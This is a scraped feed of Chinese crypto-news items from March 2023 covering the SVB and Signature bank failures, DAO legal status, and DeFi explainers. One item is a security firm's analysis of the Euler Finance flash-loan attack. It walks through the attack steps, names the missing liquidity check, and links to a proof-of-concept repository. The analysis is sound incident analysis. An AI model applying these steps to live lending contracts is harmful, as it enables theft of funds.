    PANews 3月14日消息，据官方博客，隐私网络Iron Fish宣布主网发布推迟到4月20日，因为测试期间发现一个需要修复的错误，拟在修复后才启动主网。新的空投KYC截至日期是4月14日，空投接收日期为4月21日。 此前3月1日消息，Iron Fish将于3月14日上线主网，并空投94万枚主网代币。  ( 4 min )
    硅谷银行新CEO：银行照常开展业务，存款人可全额支取资金
    PANews 3月14日消息，据TechCrunch报道，硅谷银行的客户在周一晚间收到了一封该银行新任CEO Tim Mayopoulos的电子邮件，邮件中称，该银行不仅照常营业，而且业务正常。据悉，该行的网站已经恢复。新任CEO表示，FDIC将前硅谷银行的存款和资产转移到了“一家新成立的、由FDIC运营的、提供全面服务的过渡银行（bridge bank）”，因而银行业务得以回归，存款人可以全额支取资金，新的和现有存款都受到保护。 Mayopoulos称，客户3月9日或10日所有尚未处理的电汇已被取消。如果需要完成这些交易，就需要重新启动它们。  ( 4 min )
    彭博社：Signature Bank的实时加密支付网络Signet目前仍然在线
    PANews 3月14日消息，据彭博社报道，加密友好银行Signature Bank的基于区块链的支付网络Signet即使在被美国联邦存款保险公司接管后仍然在线，该网络被加密货币公司用于实时兑换法定货币。 Signet使用了Tassat开发的技术，该公司为银行构建私有区块链。Tassat首席执行官Kevin Greene在一份电子邮件声明中表示：“在此期间，Signet运营平稳，没有中断，有助于为Signature的客户提供所需的银行内部支付。Tassat的技术将继续不间断地运行。 某加密交易公司的一位人士表示，他们周一成功完成了交易，另一位与大型加密货币公司合作的交易员表示，截至周一下午，他们的两个贸易伙伴已经能够在纽约进行加密货币存款和取款。另一位匿名人士承认，“Signet”已经开始运作，但不愿透露它是否会继续运作，以及会持续多久。  ( 4 min )
    Balancer：1190万美元资金受Euler攻击事件影响，其他流动性池安全
    PANews 3月14日消息，去中心化交易所Balancer在推特上披露，在Euler Finance攻击事件中，约1190万美元从bbeUSD流动性池中被发送给Euler，占该流动性池TVL的65%，bbeUSD也被存入了其他4个流动性池：wstETH/bbeUSD、rETH/bbeUSD、TEMPLE/bbeUSD、DOLA/bbeUSD，所有其他的Balancer流动性池都是安全的。 由于采取保护剩余资金的措施，UI目前不支持现有LP退出这些bbeUSD池中的头寸，但不存在进一步损失资金的风险，在不久的将来将提供一个UI，允许从这些池中提取资金。bbeUSD池用户可以使用UI按比例提取代币和bbeUSD，但在Euler恢复eTokens（例如eDAI/DAI）的可转让性之前，无法从bbeUSD撤回资金。  ( 4 min )
    Euler Labs：已联系美英执法部门，EToken模块已禁用
    PANews 3月14日消息，Euler Labs发布为Euler Finance用户挽回受损资金工作进展更新：“1.通过帮助禁用EToken模块，尽快阻止直接攻击，该模块阻止了存款和易受攻击的捐赠功能。2.与TRM Labs、Chainalysis和更广泛的ETH安全社区合作，帮助调查和追回资金。3.通知并与美国和英国执法部门共享信息，我们还联系了对这次攻击负责的人，看看我们是否能了解到更多的信息。此次遭到攻击的原因是，攻击者利用了易受攻击的代码，使其能够创建无担保的代币债务。”在此事件中，智能合约审计平台Sherlock帮助Euler提交了一份索赔，就450万美元的索赔进行了投票(最终通过)，并在今天执行了330万美元的支付。 去年6月，Euler Finance完成Haun Ventures领投的3200万美元融资。此前昨日消息，借贷协议Euler Finance遭到攻击，损失已达1.97亿美元。 相关阅读：一文读懂Euler Finance：支持高风险资产的下一代DeFi借贷协议  ( 4 min )
    法律地位崛起，DAO如何走出“乌托邦困境”？
    美国时间3月1日下午，美国犹他州立法机构在激烈的讨论之后以微弱优势通过了H.B. 357法案 - 《去中心化自治组织修正案》。这标志着DAO作为一种组织形式在美国获得了独立的法律实体地位。 DAO（Decentralized Autonomous Organization）即去中心化自治组织，本身是一种治理结构或者说组织形式，传统组织的结构是自上而下的层层分级，目标和任务层层下发，成员完成任务获得报酬，属于金字塔模式。而 DAO 则是一群人因拥有相同的共识聚集在一起，通过提案、投票、悬赏等方式参与治理，以 Token奖励实现激励，强调公平的利益分配，以及无权力中心，成员皆可行使权力的平等环境。 2021年之前，DAO没有明确的法律实体 2021之前，DAO组织甚至并没有什么特别好的选择和空间去成立合法的公司。个别州或国家即使允许DAO注册为法律实体，但会要求DAO做出过多的妥协。例如，他们会要求DAO保留一份成员的全名和地址清单，选举一个对组织有权力的董事会或受托人，并保留会议决定的书面记录。 首先我们要知道，在美国如果组织没有注册为法律实体，基本上就不会被政府承认。现代经济的大部分都依赖于组织获得法律地位。对于一个传统的公司或组织，无论规模大小或是营利性还是非营利性，首先要做的一件事是为该组织创建一个法律实体，通常采取公司、基金会或有限责任公司（LLC）的形式。 这里就出现一个问题是，如果一群人在没有法律实体的情况下从事共同的企业，美国法律都将他们视为普通合伙制度。被视为普通合伙制度的DAO存在哪些问题？   2021年之后，DAO被纳入有限责任公司体系 2021年4月21日，怀俄明州州长签署了以DAO为重点的法案38，使怀俄明州成为有史以来第一个承认DAO为有限责任公司的州（从2021年7月1日起生效）。 2022年2月，马绍尔群岛共和国通过了一项法律《2022年DAO法案》，2022年的DAO法案将允许DAO作为有限责任公司（LLC）limited liability companies (LLCs.)成立，使其能够识别为DAO有限责任公司。该法案还准备允许营利性DAO和非营利性DAO注册，同时为DAO的形成、协议和智能合约的使用提供定义和规定。并使在该国注册的法律实体能够正式采用DAO结构和治理工具。 2022年4月6日，田纳西州也通过立法，承认并允许有限责任公司（LLC）注册 “DAO”，努力使 “田纳西州成为DAO的特拉华州”。根据州众议院议员Jason Powell的说法，“有了这种新的商业结构，田纳西州将成为区块链投资和新工作的灯塔......就像特拉华州成为传统有限责任公司的中心或南达科他州的信用卡公司一样。” 所以自2021年起，DAO组织就被纳入有限责任公司体系，DAO组织可以选择与当局和法律系统接触。美国的怀俄明州和田纳西州以及马绍尔群岛共和国都通过法案允许允许DAO有限责任公司，这是高度灵活和强大的法律实体，是为DAO定制的，具有传统有限责任公司的所有好处。 此外，一些DAO组织也会采取科罗拉多州有限合作协会（LCA）和非法人非营利协会（UNA）的形式，或者选择在瑞士、开曼群岛或英属维尔京群岛创建基金会。 自2021年以来，数以百计的DAO在这些司法管辖区成立了公司，这使这些DAO能够进入银行业务，并且保护其成员不承担个人责任，甚至确保DAO能够解决自己的税款问题。 然而，这种形式的DAO并不纯粹，无论采用上述哪种形式，本质上都是在DAO之外包裹了一层现有的法律实体。也就是说，过去在法律层面上没有DAO这个概念，它是一个LLC，一个公司，一个合作社，一个基金会，一个信托，但选择了DAO的组织形式来运作。 今年3月1日，犹他州通过了其DAO法案，承认中心化自治组织为法人，所有这些被称为DAO的区块链原生组织将不需要将自己包裹在现有的公司结构中，即可以从法人地位中获益。犹他州DAO法案授予DAO组织法律认可和有限责任保护，解决了以前 “有限责任公司包装 ”方法的局限性。 意味着DAO不再需要被包装成有限责任公司的一个变体实体，DAO组织形式本身已经成为犹他州法律承认的一种独立的法律实体。经R3P0研究，该法案中值得关注以下内容： 简而言之，犹他州提出了一个更完善且具有针对性的合规框架，有限责任公司不是DAO，DAO也不是有限责任公司。犹他州的法案明确定义了两者的区别，这意味着DAO参与者有更多的明确性和保护，可以进行实验和创新。法案的生效日期被定为2024年。据犹他州立法机构表示：我们做出这样的妥协，是为了让我们再有一年的时间来编辑、调整并确保实际的法案实施能够顺利通过。 许多DAO组织在考虑成立公司时的一个普遍担忧是，合法合规是否会使他们的DAO变得不那么去中心化，从而违背了Web3的核心价值。但实际上没有合法合规很多时候会人们借用“去中心化”使得DAO沦为人们作恶的工具。 去年年底，CFTC起诉OokiDAO案件中，bZeroX将bZx协议（现在的Ooki协议）的控制权转移到bZx DAO（现在的Ooki DAO）的目的就是试图使bZx DAO因其去中心化的性质而不被执行。bZx创始人试图使用DAO的去中心化特质去躲避法律的制裁。 “去中心化”的精神永远是WEB3.0社区所推崇的，但很多时候永远也不要低估人性的恶。本次犹他州DAO法案的通过，DAO现在拥有了正式法律实体的地位，规范监管的同时，其实也是在保护DAO组织的成员。值得注意的是，新法案中很多细节彰显着对“去中心化”的尊重，对DAO组织内部的协调机制和决策机制没有过多得限制。这无疑是对待新事物值得称赞的态度，拥抱创新，但拒绝野蛮生长。 过去的一年--从Celsius Network到FTX暴雷--为我们敲响了警钟，显示了资产和决策去中心化的必要性，这必将导致DAO的复兴。随着区块链技术的不断革新，DAO工具将使DAO的未来应用变得更精简、更高效。例如治理、提案和投票是DAO的重要组成部分，有近百万活跃的投票者和提案者，你需要合适的工具来确保公平和效率。其次DAO金库是每个DAO的命脉，给它提供了实现目标所需的燃料。因此，为了确保有效和安全的管理，你必须使用高质量的工具来防止黑客和错误--特别是当你与DeFi协议互动时。 在不远的未来，参与DAO可能就像在社交软件互动一样丝滑无摩擦。但达到这个下一层次的前提之一就是应该与现有的法律体系进行必要的融合，另一方面，DAO技术的不断创新进步也将助推DAO能够成熟并与全球生产经济的其他部分融合。立法合规是DAO立足现实的基础和土壤，技术的创新突破则是养料，随着DAO法案的不断完善进步，实现真正意义上的合法合规，实现DAO参与者权责分明，税收条例清晰，让人们以往对DAO架构在实际生活运作体系中水土不服的担忧逐渐消解，使愈来愈多的人们在肉眼可见的未来可能逐渐采用DAO的组织形式作为公司架构，DAO的复兴将不在只是镜花水月，纸上谈兵。 版权声明：如需转载欢迎加小助理微信沟通，未经允许转载、洗稿、我方将保留追究法律责任的权利。 免责声明：市场有风险，投资需谨慎。请读者在考虑本文中的任何意见、观点或结论时严格遵守所在地法律法规，以上内容不构成任何投资建议。  ( 4 min )
    美联储将对硅谷银行监管进行审查，审查结果将于5月1日前公布
    PANews 3月14日消息，美国联邦储备委员会周一宣布，鉴于硅谷银行的倒闭，负责监管的副主席Michael S. Barr正在领导对硅谷银行的监管进行审查。审查结果将于5月1日前公布。 美联储主席鲍威尔表示：“围绕硅谷银行的事件要求美联储进行彻底、透明和迅速的审查。”  ( 4 min )
    Signature董事会成员：银行未资不抵债，被关停或因监管机构的反加密立场
    PANews 3月14日消息，据CNBC报道，加密友好银行Signature Bank董事会成员、前美国众议员Barney Frank表示，美国监管机构在周日晚间突然宣布接管Signature这一突然举动震惊了该银行的高管，“在周五晚些时候发生挤兑之前（周五提取了超过100亿美元的存款），我们没有任何问题迹象，这纯粹是受硅谷银行的影响。”Frank表示，Signature高管们探索了“所有途径”来改善现状，包括寻找更多资本，以及评估潜在收购者的兴趣。他说，到周日，存款外流已经放缓，高管们相信他们已经稳定了局势。相反，Signature的高级管理人员已被立即免职，该银行于周日关闭。Frank认为，发生的部分原因是监管机构希望发出非常强烈的反加密信息，并称“我们之所以成为典型代表，是因为基本面没有出现资不抵债的情况”。 据悉，Barney Frank在2008年金融危机后帮助起草了多德-弗兰克法案。Signature Bank总部位于纽约，成立于2001年，与房地产和法律行业关系密切。监管文件显示，截至2022年底，Signature拥有40家分支机构，资产1103.6亿美元，存款885.9亿美元。 此前昨日消息，Signature Bank倒闭，已被美国FDIC接管，所有储户都将获得补偿。  ( 4 min )
    Euler Finance漏洞分析：如何遭闪电贷攻击，损失1.97亿美金！
    背景 根据Numen链上监控显示，Mar-13-2023 08:56:35 AM +UTC，Euler Finance 项目因为Etoken中的donateToReserves函数缺少流动性检查而遭到闪电贷攻击。黑客通过不同币种多次调用完成获利，本次攻击共计损失1.97亿美元，金额巨大，涉及6种代币。当前，资金还存留在黑客的账户中。 黑客地址：https://etherscan.io/address/0xb66cd966670d962c227b3eaba30a872dbfb995db 黑客合约：https://etherscan.io/address/0x036cec1a199234fc02f72d29e596a09440825f1c 攻击交易(其中一笔)： https://etherscan.io/tx/0xc310a0affe2169d1f6feec1c63dbc7f7c62a887fa48795d327d4d2da2d6b111d 详细分析 1.黑客先从Aave闪电贷借了3000W个Dai后部署了两个合约，一个是借贷合约，一个是清算合约。 2.调用deposit函数将借来的Dai其中的20 M个质押到 Euler Protocol合约中获取了19.5M个eDAI。 3.Euler Protocol可以调用mint函数借出10倍存款，此时黑客从中借出了195.6M个eDAI 和200M个dDAI。 4.调用repay函数，用闪电贷剩余的10M个DAI偿还债务并且销毁了10M个dDAI，然后继续调用min函数借出195.6M个eDAI 和200M个dDAI。 5.调用 donateToReserves函数捐赠10倍的偿还资金，发送了100M的eDAI，并调用 liquidate函数去清算，得到310M的dDAI和250M的eDAI。 6.调用withdraw函数获取了38.9M的Dai并且去归还了借的闪电贷30M。从中获利8.87M个Dai。 漏洞成因 先看一下donateToReserves函数，用户能够被清算是在这一步发生的。 与下图的mint函数对比我们发现，donateToReserves函数少了一个关键步骤checkLiquidity。 然后跟进看 checkLiquidity的实现。我们发现了callInternalModule函数，它会调用RiskManager对用户进行检查保证Etoken>Dtoken。 在每次操作的时候需要对用户的流动性进行检查，调用checkLiquidity完成，而donateToReserves这个函数没有执行此操作，导致用户可以通过该协议的某些函数先使自己处于被清算的状态，然后在完成清算。 我们成功复现了此次攻击，详细PoC可查看链接：https://github.com/numencyber/SmartContractHack_PoC/tree/main/EulerfinanceHack 总结 Numen实验室提醒项目方，合约在上线前要做好安全审计，保证合约安全性，对于借贷类项目需要特别关注资金偿还，流动性检测，债务清算等问题。Numen实验室专注于为WEB3保驾护航。  ( 4 min )
    关于虚拟资产、元宇宙、数字藏品，今年两会有哪些提案和声音？
    整理：西柚 2023 年全国两会期间，人大代表、政协委员依然关注虚拟资产和元宇宙相关产业等，其中，有关虚拟资产和数字藏品的监管与立法等相关议题成为代表们集中关注的重点。 不过，相较于 2022 年有关区块链、元宇宙等数十条的提案数量及热度，今年代表们的发声较少。 根据公开信息，今天此类相关提案及发生约有 7 条，其中 3 条是关于虚拟资产的监管与立法，2 条是关于宇宙产业及技术的标准化，2 条是关于数字藏品的监管与实体场景融合。 全国人大代表付喜国：在防范金融风险领域，要防范虚拟货币风险，明确制作和发售数字代币的法律责任。 全国人大代表、中国人民银行沈阳分行行长付喜国在 2023 年两会上拟提交关于修改《中华人民共和国中国人民银行法》的建议。他表示，近年来，国内外经济金融形势发生重大变化，金融体制改革不断深化，党中央、国务院对人民银行的职能也进行了相应调整，现行法律规定已经不能适应经济发展和人民银行履职的客观需求，有必要进行修改。 付喜国建议，一是确立人民银行宏观审慎管理者的法律地位；二是完善监管职能体系，强化履职法律基础；三是规定数字人民币形式，明确发行法律依据；四是强化金融违法行为规制，完善相关法律责任。 他认为，应完善人民币管理职责，重新对法定人民币的表现形式和制作方式等内容在法律规定中进行界定，赋予数字人民币与实物人民币同等的法定地位；根据数字人民币的特性，全面详细规定数字人民币的发行方式、流通方式、监管方式等内容。 在防范金融风险领域，他还建议要防范虚拟货币风险，明确制作和发售数字代币的法律责任。 全国政协委员吴益强：发挥数字人民币智能合约在刺激消费、教育服务业 、免税、外国人支付等方面的科技优势。 全国政协委员、建设银行天津市分行行长吴益强建议，2023 年，可以发挥数字人民币智能合约在消费券精准发放、教育服务业预交费用监管、免税商品销售、外国人支付体验以及游轮母港应用等方面的科技优势，大力度促进消费升级扩容，提升出行、商务、免税等方面的便捷度。 第十四届全国政协委员、北京市金台律师事务所主任皮剑龙拟向两会提交《关于加快网络虚拟财产保护专门立法的提案》。这一提案认为，当前对网络虚拟财产保护进行专门立法的条件已基本成熟，建议全国人大尽快将《网络虚拟财产保护法》列入立法规划，启动相关立法进程。 他解释到，网络虚拟财产目前处于法律监管真空地带，需要尽快立法治理，为其构建合适的法制框架，明确网络虚拟财产的法律属性、地位及救济机制等，保障相关产业安全稳定发展。 许多国家以及欧盟均高度重视虚拟财产的发展，并且纷纷制定相关法规。资产数字化，是发展新型数字经济的必然选择，第 3 代互联网将数据与虚拟财产列为重要支撑，认为下一代互联网会是价值网，而区块链、智能合约、预言机、元宇宙、人工智能等科技，是资产数字化的重要科技。 加快网络虚拟财产保护的专门立法，既是加强国家竞争力的需要，也是保护民众权益的需要，同时也是加强监管的需要；中国的虚拟财产需要发展自己的科技以及制定符合中国国情的法规，提升我国在下一代互联网与新型数字经济领域的国际竞争力。 全国人大代表、国浩律师（南昌）事务所主任冯帆表示，当前，数字经济正成为接下来一个阶段全球资源要素的新兴战略点，也是各国高度重视的发展领域；资产数字化，是发展新型数字经济的必然选择。由于国情不同，海外资产数字化的模式不适合在中国推广，因此，中国的虚拟财产需要发展自己的科技以及制定符合中国国情的法规，需尽快启动数据与网络虚拟财产专门立法。 国家已有规范的举措监管金融资产，但对于非金融虚拟财产，目前还是法律真空地带。2021 年正式施行的《民法典》是对数据、网络虚拟财产进行后续专门立法的依据。但是，目前《民法典》的规定在解决具体争议时，还无法将这一规定作为直接依据。冯帆建议，采取法律明确数据与网络虚拟财产的定义与范围；清晰界定数据与网络虚拟财产领域相关主体的法律地位，对其行为进行规范，促进产业公开、良性发展。 「还可以鼓励和支持地方政府出台‘先行先试’的法规政策，地方立法先行，发挥改革试验田的作用，加快中国特色非金融 Web3 等元宇宙科技在各地的发展。」冯帆指出，引导相关团体与机构加快制定相关各类数据与网络虚拟财产的技术标准（包括软、硬件、服务等），通过规范技术规范数据与网络虚拟财产业务与行为，推动自主科技创新，也能有力推动中国数字经济发展。 此外，冯帆还建议国家建立多个网络虚拟财产托管中心以及认证中心，对于购买国内网络虚拟财产建立保障机制，支持消费者对国内网络虚拟财产确权；同时推进以及鼓励数字金融保险制度，维护非金融网络虚拟财产发行方、交易平台、投资者的合法权益。 全国政协委员吴杰庄：「引导元宇宙『脱虚向实』，服务实体经济。」 全国政协委员、香港特区立法会议员吴杰庄，在今年两会提交了一份《关于促进元宇宙产业健康发展的提案》。提议「元宇宙」发展不应过度强调打造消费级虚拟空间，要防止「脱实向虚」及资本热潮下资源浪费；应鼓励「元宇宙」发展愿景下的数字孪生、3D 成像等技术在智能制造、智慧医疗、智慧城市等领域的应用，推动新兴技术更好服务实体经济发展，进一步创新社会治理模式，提升公共服务智能化水平。 吴杰庄表示，当前，元宇宙产业发展中存在着挑战。一方面，先进技术「双刃剑效应」凸显，传统信息安全与意识形态保护受到挑战。另一方面，目前对元宇宙资本运作方式、虚拟世界金融支付、NFT 缺乏成熟的监管。目前，美国元宇宙发展速度较快，我国在理念上与之接近，并具有较大市场，日、韩等国也在积极推动元宇宙发展。 为此，吴杰庄建议我国以「数字货币」发展为前车之鉴，充分重视元宇宙发展与治理问题，积极推动支撑元宇宙发展的技术进步和基础设施建设，同时关注元宇宙前瞻治理问题。 他特别提出，「元宇宙」所构建的丰富数字虚拟愿景需坚实底层技术作支撑，需防止「元宇宙」概念下资金过度向应用层集中，导致未来「元宇宙」上层应用仍建立在美国企业技术基础上。 提案中还建议开展面向「元宇宙」的安全治理体系预研；加强对元宇宙发展的监管和引导，加快相关法律法规研究制定；鼓励国内企业突破「元宇宙」技术瓶颈。 全国人大代表、南昌大学元宇宙研究院院长闵卫东在两会上提出关于进一步推进人工智能领域立法的建议，并对元宇宙发展表态。 「元宇宙在未来还有很大的发展空间，会变得更加真实、自由、广泛、完善和智能化，元宇宙可广泛应用于游戏与娱乐、虚拟商城和购物、社交网络和聊天、教育和培训、健康医疗、建筑和设计、金融服务、智慧城市、元宇宙数据价值挖掘等，能给民众提供丰富的服务和体验，也能产生新的业态和模式。」 「元宇宙的发展还有技术瓶颈，在元宇宙头显、近眼显示、自然交互、大规模场景生成等存在许多有待解决的核心技术。」闵卫东提出，目前元宇宙技术的标准化和规范化工作还比较薄弱，需要加强标准化工作，确保元宇宙的各项技术能够互相兼容。 此外，元宇宙的普及和推广需要提高参与到元宇宙市场的人数，也要制定相关的法律法规和政策来保障元宇宙中的虚拟经济及应用涉及的数据、信息和财产的安全。 针对元宇宙未来的发展，闵卫东表示，通过核心技术创新以及建设和完善虚拟生态体系，支撑更加真实的虚拟体验、更加智能的交互方式、更加自由的社交互动、更加广泛的应用场景、更加完善的虚拟经济体系。 全国人大代表冯琪雅建议：明确数字藏品监管主体，对数字藏品平台实施准入制度。 全国人大代表、上海鑫灜投资控股股份有限公司董事长冯琪雅在接受上海证券报记者专访时表示：在数字藏品行业快速发展的同时，当前的监管还是以行业自律和地方性规章为主，缺乏多部门协同的自上而下的监管体系，对数字藏品的法律定性还不清晰。 她表示，在数字藏品的发行环节，文化和版权监管部门应该加强对数字藏品的版权保护和市场准入管理，确保数字藏品的真实性和版权合法性。对交易和流通等重点环节，由地方金融监管部门牵头对数字藏品平台进行监管，重点打击非法投机、炒作行为，严防数字藏品金融化、证券化倾向。 针对目前我国数字藏品行业缺乏相应准入门槛这一问题。冯琪雅建议：设立准入机制，对数字藏品平台实施准入制度。对可能涉及数字藏品的发行、流通、买卖等环节，可先建立白名单机制，以探索的方式进行逐步创新。此外，开展数字藏品业务的平台应取得区块链的信息服务备案，并取得相应资质。 此外，她还倡议，建立数字藏品交易信息公开平台，公开发行流程、发行价格等信息，方便投资者了解市场行情和风险情况。积极鼓励平台公司开展创新行为，针对数字藏品行业建立相关产业联盟，推动行业自律，制定自律规范，加强行业自律和监管。 全国人大代表、民盟山西省委会副主委、太原市人大常委会副主任阎美蓉近日受访时建议，尽早出台数字藏品相关法律法规，有效引导文旅数字藏品开发和产业健康规范发展。 阎美蓉表示，当前，中国数字藏品在文旅融合应用方面还存在诸多不足，相关部门对数字藏品认识不充分、相关政策支持缺位，缺乏市场化手段和激励机制；文旅数字化产品及相关文化资源未能有效挖掘、利用，同质化严重，产品创新不足，缺乏地域文化特色和相关既懂技术又懂文旅知识的开发专业人才。 「数字藏品 +」与旅游、博物馆、非遗方面的创新融合，此举可把旅游产业「带起来」，让博物馆 ( 院 )「活起来」，使城市 IP「亮起来」，将传统文化在年轻人中「传起来」。 为此，她建议，制定和完善相关政策，出台关于「数字藏品 + 旅游 + 文物 + 非遗」的实施方案，并将城市数字化 IP 列入城市发展战略规划；对发行平台、产品质量等加强监管，强化对藏品的内容和价值体现。  ( 4 min )

  • Open

    Ceramic 如何实现数据可组合性
    Chainfeeds 导读： 本文由 Multicoin Capital 作者 Kyle Samani 撰写，解析数据分类账本 Ceramic 如何通过社区驱动的数据模型实现数据可组合性。中文版由 DAOSquare 译者 hsl195 编译发布。 文章来源： https://mp.weixin.qq.com/s/bTL6GF8DhlU0pzNGYywYxg 文章作者： Kyle Samani（Multicoin Capital 联合创始人） 观点： Kyle Samani（Multicoin Capital 联合创始人）：Ceramic 主要通过一种叫做数据模型的新抽象概念实现跨应用的数据可组合性，这种抽象统一了类似应用的存储方式，并可以检索网络上每个用户的状态。通过采用相同的底层数据模型，应用程序能够对相同的数据进行原生互操作。 内容来源 Kyle Samani（Multicoin Capital 联合创始人）：Ceramic 采取社区驱动的方式来创建这些数据模型，允许任何开发者轻松地与生态系统中的其他开发人员定义、分享和循环利用他们的模型。随着社区创建越来越多的数据模型，我们将看到使用可组合数据构建的应用程序的数量和种类不断扩大。 内容来源 Kyle Samani（Multicoin Capital 联合创始人）：通过前述方式，可组合性也带来了更好的开发者体验。在 Ceramic 上构建一个应用程序看起来就像浏览一个数据模型市场，将它们接入你的应用程序，并自动获得对网络上存储在这些模型中的所有数据的访问。使用 Ceramic，开发者将不需要担心用他们独自的用户和数据来开发应用程序。开发者的整个复合创新的速度将大大加快。 内容来源  ( 32 min )
    【英文长推】App-Specific Rollup：允许整个 DApp 生态系统部署在其之上
    Chainfeeds 导读： App-Specific Rollup（ASR）或 RollApp 是作为区块链上的 rollup 部署的单个应用程序，这与 Arbitrum 和 Optimism 这样的通用 rollup 形成对比，后者允许部署整个 Dapp 生态系统在他们身上。加密研究员 Shiva 撰推解析 ASR 的原理和优势，认为 ASR 会使以太坊成为「全球价值互联网」。 文章来源： https://twitter.com/ShivanshuMadan/status/1635566500458418176 文章作者： shivamadan.eth 观点： shivamadan.eth：网络上的每个 dapp 都有不同的区块空间需求生命周期，通用 rollup 将来自其生态系统中所有应用程序的 tx 组合在一起，并将它们分批放入同一个区块中，因此如果区块空间需求很高，那么所有应用程序的价格都会很高。另一方面，ASR 可以在 silo 中创建自己的批量交易，并为自己的用例优化区块空间。【原文为英文】 内容来源 shivamadan.eth：ASR 优势：1）对原生代币的完全控制，同时仍然利用基础层的安全性；2）快速出块时间；3）专用区块空间；4）自定义 EVM 限制，可以针对游戏等极端用例进行调整而不会牺牲很多其他属性；5）无缝桥接能力，可以进行微调以实现与其他链的无缝互操作性。【原文为英文】 内容来源  ( 2 min )
    速览 CyberConnect 与 BNB Chain 合办 Web3 社交黑客松获奖项目
    Chainfeeds 导读： CyberConnect 与 BNB Chain 合办的 Web3 社交黑客松「Connected 2023 黑客松」有 23 个项目从 57 个竞争项目中胜出，CyberConnect 列举概述了这些项目。本文中文版由 Foresight News 编译。 文章来源： https://foresightnews.pro/article/detail/27991 文章作者： CyberConnect 观点： CyberConnect：综合最佳 Web3 社交 DApp：1）Oasis Origin 是一个 Web3 社交超级应用，允许用户在元宇宙中参与各种社交活动。2）Phaver 正在构建通往 Web3 社交的门户，最初基于 Lens 构建，将很快与 CyberConnect 集成。3）ReadON 是一个 Web3 内容聚合器应用，对包括 Youtube、Twitter、Medium 以及 Cointelegraph 等新闻发布平台等的信息进行索引和分析，然后使用机器学习和人工智能为用户提供个性化内容。 内容来源 CyberConnect：新星奖获胜项目：1）DegenReborn，加密生活模拟游戏；2）Atem Network，去中心化内容创建协议；3）Plato，奖励餐馆消费者的协议；4）W3Space ，Hyper 社区构建的一款游戏化元宇宙项目；5）Wondera，奖励用户唱歌和创意内容的社交娱乐平台；5）Cyber​Tune ，去中心化的音乐分享和收听平台。 内容来源 CyberConnect：Notifi 赏金项目：0xLander，使用 ccProfile 创建用户画像，通过订阅和关注功能构建社交图谱，基于社交图谱创建聊天群，通过发帖、评论等功能在群内分享内容。Lit Protocol 赏金项目：Null World ，针对游戏玩家的社交平台。LivePeer 赏金项目：Dopamine App，为用户提供来自整个加密领域的多种功能，已经发布完全集成 BNB Chain 的钱包，还计划发布 Web3 移动 DApp 商店。 内容来源  ( 10 min )
    $sUSD 成为新算稳三杰？一文解读其代币机制
    Chainfeeds 导读： ABCDE 投研合伙人 Lao Bai 将 $sUSD 归类为新算稳三杰，LD Capital 研究员 duoduo 遂撰推解读 sUSD 的代币机制，认为随着 V3 版本实施和 Optimism 的资金流入增加，sUSD 的可扩展性增强，生态会更丰富。 文章来源： https://twitter.com/angalina2021/status/1635582678035759105 文章作者： duoduo 观点： duoduo：如何铸造？质押 SNX 可以生成稳定币 sUSD，SNX 铸造 sUSD 的抵押率是 400%，清算线则是 160%。这是一个比较高的抵押率，可以应对市场极端风险，维持系统的稳定。如何锚定？sUSD 通过套利机制维持价格锚定，铸造价格始终为 1 美元，当市场价格高于铸造价格时，套利者可以铸造新的 sUSD，按照市场价格卖出获利，市场供应增加，价格回落。反之则套利者可以从市场买回 sUSD，然后销毁 sUSD，降低债务。 内容来源 duoduo：债务池是质押的 SNX 都放进去的一个池子。当用户铸造 sUSD 时，铸造出来的 sUSD 的数量占所有 sUSD 的数量就是用户在整个债务池的比例，所有被铸造的 sUSD 就是总债务。如果 A 的投资策略实现资产升值（如 sUSD 购买 sETH，sETH 价格上涨）就会导致 B 的债务增加。 内容来源 duoduo：债务池可以为各类协议提供流动性，零滑点，充当交易对手方，具有较好的可组合性。在此基础上，SNX 建立自己的生态。Synthetix 不直接提供任何前端，而是充当 DeFi 协议的后端流动性提供者。目前的生态包括 Curve、合约交易所 Kwenta、期权交易所 Lyra 等。sUSD 有自身较为稳定的应用场景。 内容来源 duoduo：Synthetix 正在进行 V3 版本的修改。在 V3 中，将新增质押资产的种类，除了 SNX 之外，ETH 等其他加密代币也可以质押生成 sUSD。此前，sUSD 的规模受到 SNX 市值的限制，V3 版本实施后，将不再受限于此，sUSD 的可扩展性增强。随着流入 Optimism 的资金增长，有机会建立更丰富的生态，获取更大市场规模。 内容来源  ( 2 min )
    【英文长推】Synthetix V3：为下一代链上衍生品和金融产品提供动力的流动性层
    Chainfeeds 导读： Synthetix 官方撰推发文，对其 V3 版本进行详解，包含其架构、重点功能，并探讨每个功能和机制，认为 V3 升级彻底改造了 Synthetix，为一系列链上衍生品提供动力。几乎任何衍生协议都可以基于 V3 而不是从头开始构建。 文章来源： https://twitter.com/synthetix_io/status/1634285809150095362 文章作者： Synthetix 观点： Synthetix：Synthetix V3 是可组合的衍生流动性协议，旨在成为链上金融产品的通用和模块化基础。两个关键价值主张：1）面对质押者，一系列的池 / 金库存款，连接到一系列衍生品市场 —— 从而选择市场敞口和预期回报的水平和类型。2）面对协议，一系列用于抵押新衍生品市场的矿池 / 金库或创建矿池并通过奖励吸引抵押品的工具。【原文为英文】 内容来源 Synthetix：V3 重点：1）DeFi 衍生品的流动性层，推动下一代无许可的衍生品；2）通过多重质押给质押者权力，创建了一个与抵押品类型无关的通用金库系统，抵押品必须经过治理批准。 3）一个可组合的、对开发人员友好的系统；4）未来将能够部署到任何 EVM 兼容链上。【原文为英文】 内容来源 Synthetix：其他功能和机制：1）围绕市场构建，市场决定了相关资产的定价逻辑；2）可以使用市场定价逻辑和价格反馈来部署新的合成资产；3）多抵押品质押，允许治理支持任何抵押品来支持合成资产，抵押品期权将具有可调整的变量；4）贷款，但不会面临债务池风险，也没有利息和发行费用；5）差异化的流动性（债务）池；6）市场创建者可以从多个预言机解决方案中进行选择以设置自定义聚合；7）奖励管理器。【原文为英文】 内容来源  ( 2 min )
    深究 DeFi 的安全审计和安全问题，解析三种审计模式
